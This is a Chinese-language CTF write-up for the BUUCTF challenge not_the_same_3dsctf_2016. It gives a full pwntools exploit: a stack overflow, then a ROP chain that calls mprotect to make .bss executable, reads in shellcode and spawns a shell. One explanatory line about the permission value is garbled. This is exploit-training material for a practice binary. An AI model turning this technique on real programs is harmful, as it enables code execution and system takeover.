BUUCTF not_the_same_3dsctf_2016

在這裏插入圖片描述

還是靜態鏈接的,一個文件,自己玩,所以打開IDA找找能用到的函數就可以了,題目也非常簡單,棧溢出
在這裏插入圖片描述

from pwn import *

context(log_level='debug', arch='i386')

proc_name = './not_the_same_3dsctf_2016'
p = process(proc_name)
elf = ELF(proc_name)
bss_start_addr = elf.bss() & ~(elf.bss() % 0x1000)
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
# 0x080483b8 : pop esi ; pop edi ; pop ebp ; ret
pop = 0x080483b8
payload = 'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100)
p.sendline(payload)
payload1 = asm(shellcraft.sh())
p.sendline(payload1)
p.interactive()

這裏我特別解釋一下這個payload'a'.encode() * (0x2d) + p32(mprotect_addr) + p32(pop) + p32(bss_start_addr) + p32(0x100) + p32(0x7) + p32(read_addr) + p32(bss_start_addr) + p32(0) + p32(bss_start_addr) + p32(0x100)

  • 首先0x2d是main函數中棧空間的大小,它的下一個位置就是ret指令對應的返回地址了
  • p32(mprotect_addr)就是mprotect函數的地址,接下來的p32(pop)是爲了保持棧平衡而將後面壓入的三個參數從棧上彈出,彈出後我們並不使用它,就是爲了控制棧的結構,p32(pop)的位置也同樣是執行完mprotect後的返回地址,pop對應的指令爲pop esi ; pop edi ; pop ebp ; ret,最後ret就跳轉到p32(read_addr)這裏了
  • 同理,p32(read_addr)的下一個p32(bss_start_addr)也是執行完read函數後跳轉的地址,後面是read的三個參數

整個思路就是,利用mprotect函數修改bss段爲0x70b111,可讀可寫可執行權限,然後利用read函數讀入shellcode,最後跳轉到shellcode的位置,就成功拿到shell了

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章